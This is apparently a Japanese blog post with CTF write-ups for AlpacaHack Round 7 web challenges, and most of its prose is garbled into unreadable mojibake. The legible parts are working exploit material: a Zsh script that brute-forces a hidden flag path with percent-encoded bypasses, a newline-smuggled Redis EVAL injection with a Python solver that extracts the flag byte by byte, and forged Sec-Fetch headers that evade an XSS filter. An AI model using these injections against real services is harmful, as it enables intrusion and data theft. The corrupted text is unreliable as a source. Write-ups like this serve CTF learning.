AlpacaHack Round 7 (Web) ã«åå ãã¾ããããã³ã¡ããçã«ã¯åãã¦ã® CTF ã®ã³ã³ãã¹ãã§ãã
èªåèªã
ã·ã§ã«ã¹ã¯ãªããã§ãã«ããã«ããã£ãããã¤ã³ã¸ã§ã¯ã·ã§ã³ã®ãã¨ãèãããããã®ã¯å¥½ããªã®ã§ããã¾ããã¨ãããã° CTF ã¯å¥½ããããªã®ããªï¼ã¨ãããµãããããæ°æã¡ã¯ä½å¹´ãåãããã£ãã®ã§ããã常è¨ã® CTF ãµã¤ãã®ãããããªãã®ãããããªãã£ãããå§ãæ¹ããã¾ãã¡ããããªãã£ããã§ãªãã¨ãªãæ¬é ãã¦ãã¾ããã AlpacaHack ã«ã¯åæãããåã«ç»é²ãã¦ãChallenge Archive ããï¼Welcome ãé¤ãã¦ãï¼Web ã 2 ã¤ãPwn ã 5 ã¤ãRev 㨠Crypto ã 1 ã¤ãã¤è§£ãã¾ããã
å
ã
ï¼ç«¶ãããããåããï¼ãã¤ããªãã¡ã¤ã«ãèªãã®èªä½ã¯ãã£ã¦ãã¦ãããããé¨åã¨ã¯ããç¨åº¦ä»²ããã ã£ãã¨æãã¾ãããåã ã¡ã³ãã³ã㯠hexdump -C
ã§ãã
æè¿ã¯ãOpenSSL ã®è¨¼ææ¸ãç§å¯éµã®ãã¡ã¤ã«ï¼PEM ã DER å½¢å¼ã®ãã¤ï¼ãèªãã§æ¥½ããã§ãã¾ããã
ã¨ãããããããèªã¿ãªãããRSA ç¨ã®éµã£ã¦ãããã風ã«ã¨ã³ã³ã¼ãããã¦ãã®ããããããããã°ãCTF ã 㨠RSA é¢é£ã®åé¡ãåºããã ã£ãããããã¨æã£ã¦ããAlpacaHack ã£ã¦ããã®ãæè¿è©±é¡ã«ãªã£ã¦ãããå§ãã¦ã¿ããããããã¨ãªã£ãã®ãå§ããçµç·¯ã§ããã
Crypto ã«é¢ãã¦ã¯ã競ããã§æ £ãã¦ãããããªç¾¤ã®è©±ãããã¤ã¤ãã¯ã¼ããµã¤ãºã«ã¯åã¾ããªãå¤ãå½ç¶ã ã£ãããã¦åæãçµæ§éããªã¨ããæ°æã¡ãããã¾ãã ã¾ã ã¾ã ç¥ããªãã¢ã«ã´ãªãºã ããããããããã ãªãã¨ããã¨ããã§ãããã¨ãã° LLL ã¨ããã®ã¯ãªãã§ããï¼ååã ãã¯ç¡éåèãã¦ããï¼ã
ä»åã®ã³ã³ãã¹ãã®è©±
ã·ã§ã«ã®åºåã¯ã#>
ããå§ã¾ãè¡ã§ç¤ºããåºåã®çç¥ã¯ #:
ã§ç¤ºãã¾ãã
Treasure Hunt
ã¾ã web/Dockerfile ãèªã¿ã¾ããFLAG_PATH
ã¯ï¼MD5 ããã·ã¥ã«åºã¥ãï¼æ·±ãé層ã®ãã¹ã£ã½ãã®ã§ãã¨ãããããã¼ã«ã«ã§è¦ã¦ã¿ã¾ãã
% docker exec -it treasure-hunt-treasure-hunt-1 bash I have no name!@b557aca14e98:/app$ ls -R #: #> ./public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x: #> t #: I have no name!@b557aca14e98:/app$ cat ./public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t #> Alpaca{REDACTED}
ã¨ãããã㧠http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t
ã«ã¢ã¯ã»ã¹ã§ããã°ãããã§ããã/[flag]/
ã«ãããããã¨ã ããããã®ã§èãã¾ããURL ã case-insensitive ã ã£ãããããããªã¨æã£ã¦ http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/A/c/2/8/9/1/F/L/A/G/t/x/t
ã¨ãã¦ã¿ã¾ãããã ããããã®ã§ãããã¡ãã£ã¨èãã¾ãã
% curl http://localhost:3000/drum #> ð¥ % curl http://localhost:3000/dru%6d #> ð¥
curl ã 㨠%-encode ãã¦ãæå³ãããã®ãè¿ã£ã¦ãã¦ããã¦ãããã§ããããã decode ãã¦ããã®ã curl å´ãªã®ããµã¼ãå´ï¼ã®å¤å®ç®æ以éï¼ãªã®ãããã®æ®µéã§ã¯ï¼äºåç¥èãªãã§ã¯ï¼å¤æã§ããªãã§ãããã¨ããããå¾è ã ã£ããããããã®ã§å¾è ã ã¨ãã¦é²ãã¾ãã
% curl http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/%61/c/2/8/9/1/%66/%6c/%61/%67/t/x/t #> Alpaca{REDACTED}
ããããã¨ãããã¨ã§ããã¨ã¯å®éã®ãµã¼ãã«ããããã¹ãç¹å®ããæ¹æ³ãèãã¾ãã
ã¨ãããããåå¨ãããã¨ãç¥ã£ã¦ãããã£ã¬ã¯ããªã¨ã㦠/3
ãããã®ã§ãããã«ã¢ã¯ã»ã¹ãã¦ã¿ã¾ãã
% curl -i http://localhost:3000/3 #> HTTP/1.1 301 Moved Permanently #: #> Location: /3/ #: % curl -i http://localhost:3000/4 #> HTTP/1.1 404 Not Found #:
ãããã¹ãã¼ã¿ã¹ã³ã¼ãã§å¤æã§ãããã§ããã
Python 㧠requests.get(url, allow_redirects=False).ok
ããããã¨ãã¾ãããã%-encode ã¾ãããæå¾
éãã«ãã£ã¦ãããªãããã ã£ãã®ã§ãã½ã«ã㯠Zsh ã§æ¸ãã¾ããã
BASE_URL=http://34.170.146.252:19843 escape() { echo ${${${${1//f/%66}//l/%6c}//a/%61}//g/%67} } query() { echo "GET $1" local target_path=$(escape $1) response=$(curl -sw '%{http_code}\n' -o /dev/null "$BASE_URL$target_path") [[ $response != 404 ]] } target_path= for _ in {1..32}; do for x in {0..9} {a..f}; do if query "$target_path/$x"; then target_path+=/$x break fi done done echo $target_path curl ${BASE_URL}$(escape "$target_path/f/l/a/g/t/x/t")
% zsh solve.zsh #: #> GET /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/* #> /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/* #> Alpaca{*************************}
Alpaca Poll
åãã¡ã¤ã«ãèªãã§ããã¾ãã
// no injection, please animal = animal.replace('\r', '').replace('\n', '');
const message = `INCR ${animal}\r\n`;
ããããã¾ã«ãããããã£ã¦ãã ãããã¨æ¸ãã¦ãã ãã£ã¦ããã®ã§ããããè¦ã¦ããã¾ãã Redis ã使ã£ã¦ãããããªã®ã§ãã¾ãã¯ï¼å ·ä½çãªã¤ã³ã¸ã§ã¯ã·ã§ã³ã®ãã¨ã¯å¿ãã¦ï¼Redis ã§ã©ããããåå¾ã§ããããèãã¾ãã
% docker exec -it alpaca-poll-alpaca-poll-1 bash I have no name!@6439a1641d16:/app$ redis-cli 127.0.0.1:6379> incr dog #> (integer) 18 127.0.0.1:6379> incr dog #> (integer) 19 127.0.0.1:6379> get flag #> "Alpaca{REDACTED}"
Redis ã®ã³ãã³ãã¯ãã¾ãç¥ããªãã®ã§ãããã¥ã¡ã³ããèªã¿ã¾ãããªãããã®ãã¨ãããçµæã®æ´æ°å¤ãå¾ãããã®ã§ãããã©ã°ã® $i$ æåç®ã® ASCII ã¨ãã¦ã®å¤ãã¿ãããªã®ãå¾ãããã³ãã³ããããã¨ããããã§ãã EVAL ã Scripting with Lua ãè¦ã¤ããã®ã§ãããã©ãã«ã§ãã§ãããã§ãã
I have no name!@6439a1641d16:/app$ redis-cli eval 'return string.byte(redis.call("GET", KEYS[1]), 1)' 1 flag #> (integer) 65 I have no name!@6439a1641d16:/app$ redis-cli eval 'return string.byte(redis.call("GET", KEYS[1]), 2)' 1 flag #> (integer) 108
ããã«ã¯ãã³ã¡ãããã«ã£ããã§ãããã¨ã¯ãINCR ${animal}
ã®é¨åã§ã©ã EVAL
ãå®è¡ããããèããã°ããããã§ãã
ã¨ããããããã¾ããã£ã¦ãããããããããã調ã¹ããã®ã§ãINCR dog
ã 2 åå®è¡ãããããªãã¨ãã§ãããã試ãã¦ã¿ã¾ãã
% curl http://localhost:3000/vote -d 'animal=dog;incr dog' #> {"error":"something wrong"}
ã¨ãããã ;
åºåãã«ãã¦ã¿ã¾ããããRedis ã¯ããããæãã®åã§ã¯ãªããããã§ãã
% curl http://localhost:3000/vote -d 'animal=do%0Ag' #> {"dog":24}
\n
ã®æ¶ãæ¹ã試ãã¦ã¿ã¾ãã試è¡é¯èª¤ããããã¨ãããããããã INCR
ããããã¦æ°å転æããããã¾ããã
ããããã° JavaScript ã§ã®å
¨ç½®æã£ã¦ replaceAll
ã£ã¦ã ããï¼ã¨æã£ã¦ãããã¨ãªãã¾ããã
% curl http://localhost:3000/vote -d 'animal=do%0Ag' #> {"dog":327} % curl http://localhost:3000/vote -d 'animal=dog%0A%0Aincr dog' #> {"dog\nincr dog":328} % curl http://localhost:3000/vote -d 'animal=dog%0D%0D%0A%0Aincr dog' #> {"dog\r\nincr dog":330}
ãï¼ 2 ã¤ãã¤å¢ãã¦ãã¾ããããã¼ããã¡ããã¡ãã«ãªã£ã¦ãã¾ãããçµå±æ¬²ããã®ã¯å¤ã®æ¹ãªã®ã§ã©ãã§ãããã§ããã
è¦ãæããæåã®ã³ãã³ãã®çµæãè¿ã£ã¦ãã¦ãã¾ã£ã¦ãããã§ãäºã¤ç®ã®ã³ãã³ãï¼ããªãã¡ãã¤ã³ã¸ã§ã¯ã·ã§ã³ã㦠EVAL
ããããã¤ï¼ã®è¿ãå¤ãå¾ãããã«ã¯ããå°ãèããå¿
è¦ãããããã§ããã¨ãããã INCR
ã®å¼æ°ã¯ãªãã«ãã¦ãã¾ã£ã¦ã¨ã©ã¼æ±ãã«ããããå¾è
ã ãè¿ã£ã¦ãã¦ãããªãã§ãããï¼ããã®ãï¼ã
% curl http://localhost:3000/vote -d 'animal=%0A%0A eval '\''return string.byte(redis.call("GET", KEYS[1]), 1)'\'' 1 flag' #> {"\n eval 'return string.byte(redis.call(\"GET\", KEYS[1]), 1)' 1 flag":65}
ãããããããã¾ãããã©ã°ã¯ Alpaca{...}
ã ã¨ç¥ã£ã¦ããã®ã§ãA
ã§ããã¨ããã® 65 ãè¿ã£ã¦ãã¦ããã¦ããããã§ããã
ãã¨ã¯ããããã½ã«ããæ¸ãã°ããã§ããã
import json import requests BASE_URL = "http://34.170.146.252:7782" def query(i): url = f"{BASE_URL}/vote" animal = f"\n\n eval 'return string.byte(redis.call(\"GET\", KEYS[1]), {i})' 1 flag" res = requests.post(url, data={"animal": animal}) resj = json.loads(res.text.encode()) return ("error" not in resj) and chr([*resj.values()][0]) for i in range(1, 200): r = query(i) if not r: break print(r, end="") print()
% python solve.py
#> Alpaca{******************}
minimal-wafã»disconnection
ããããããããªãã§ããã
ãããã Admin Bot ã¿ãããªã®ã£ã¦æ±ç¨ã°ããºï¼ï¼ï¼ã¿ãããªãã¤ãªãã§ããï¼ Challenge Archive ã®ã¨ããã§ãè¦ãããè¨æ¶ãããã¾ãã
% curl 'http://localhost:3000/view?html=script' #> XSS Detected: script % curl 'http://localhost:3000/view?html=script' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Dest: x' #> script % curl -X POST 'http://localhost:1337/api/report' -H 'Content-Type: application/json' -d '{"url": "https://example.com"}' #> OK % curl -X POST 'http://localhost:1337/api/report' -H 'Content-Type: application/json' -d '{"url": "http://34.170.146.252:26860/"}' #> OK
ãµã¼ãï¼ ãã¼ã......ï¼
bot/bot.js ã® url
ã«ã¯å¥½ããªãã¨ãæ¸ããããªã®ã§ãããã«ãªãããããã§ããï¼
await page.goto(url, { timeout: 5_000 });
çµå±ãããã¨ããã¾ãã¡ããããããã§ãåæ¥ãã¾ãå¯ããã¦ãªãã®ãããããã®ã¾ã¾å¯ã¦ãã¾ãã¾ããã ããããã®å®çªã¨ãã¦ã®ç¥èã¿ãããªé¨åãæ¬ ãã¦ãããªæ°ããã¾ãã
ã³ã³ãã¹ãå¾
èµ·ãã¾ãããå¯ãå㯠7 ä½ã ã£ãã®ã§ãããèµ·ããã 8 ä½ã«ãªã£ã¦ãã¾ããã ååããé ä½ãªã®ã§ã¯ãªãã§ããããããã³ã¡ããã¯ï¼ç«¶ããã§ãï¼ç«¶æãã¼ãã«ã¯ãã¾ãèå³ããªãã®ã§ãããã¨ã¯ãã (å°ããã®æ´æ°)/(大ããã®æ´æ°) ãè¦ãã¨ããããæ°æã¡ã«ãªã£ã¦ãã¾ãã¾ãã
ä¸æ¦å¯ã¦ããåå ãããè¿·ã£ã¦ããã®ã§ããã2 å®æ©è§£ãã§ã®ããé ä½ã ã£ãã®ã§ãããã°ã£ã¦åå ãã¦ããã¦ããã£ããªã¨æãã¾ããã
ABC ã«ãåå ãã¾ãããã20 åãããé å»ããã®ã§å¾®å¦ãªæãã§ããï¼é å»ãæãã«ãã¦ãããã£ã¨æ©ã解ãã¨ããæãã®åºæ¥ã§ã¯ããã¾ããï¼ã
write-up ãæ¸ãã¨é常ã«æè¿ãã¦ãããããããã®ã§æ¸ãã¾ããã
æè¿ããã¾ã é常ã«
— keymoonâ (@kymn_) November 30, 2024
ãããã¹ã
ããããã¨ã¾ã ã¾ã ç¥ããªããã¨ãå¤ãã®ã§ããåå¼·ãã¦ãããããªãã¨ããæ°æã¡ã§ãã
æåã®ãã¡ã¯ãä»ã«äººã® write-up ã¨ããï¼ãã¿ãã¬ã¯ããç¨åº¦é¿ãã¤ã¤ãããããªãã«ã¯è¦æãã¦ï¼ã°ã¼ã£ã¨èªãã§ãã£ã¦å¸åãã¦ããã®ãããã®ããªï¼ã¨æã£ãããã¦ãã¾ãããã¨ãã°ä¸è¨ãèªãã ããã¾ããï¼å¾è ã¯ã¾ã ååããèªãã§ãªãã§ãï¼ã
ããããã¡ããã¨èªã¿ããã§ãã
radareorg/radare2 ã¨ã pwntools ã¨ãã触ã£ãããã¦ãã¾ãããã¾ã ã¡ããã¨ä½¿ãããªãã¦ããªãã¨ãããããããããæ´»ããããã¦ããªãæããããã¾ããã
æ¥åæ²ç·ã¨ããæ ¼åé¢é£ã®ãªã«ãï¼ï¼ï¼ï¼ï¼ã¨ããPollard ã® $\rho$ æ³ã $p-1$ æ³ãªã©ã仲ããã«ãªããããããã¯ã¯ããããããã¾ãããç¦ãããã£ãããã£ã¦ããã¾ããããããã¨ããã¨ããã§ããCTF 以å¤ã«ããããããåå¼·ã¯ãããããã£ã¦ãã¨ã«ããå¿è ã«ãªãããæ°æã¡ãå¼·ã¾ãã¾ãã
ã¨ããããã¯ã競ããã§ããã¨ããã®ãã¨ããããæç´ã«æ¸ããã¨ãã®è¨ç®éãèããããå®çªã®é«éåææ³ãç¥ãï¼ç´¯ç©åã¨ã座å§ã¨ãï¼ããããããé¡ã®ãã®ã¯ DPã»ã«ã¶ããã»etc.ããããã®ã¬ãã«ã®ãåºç¤çãªæè¦ãé¤ããããªã¨ããæ°æã¡ãããã¾ãã
ããã
ãããã§ãã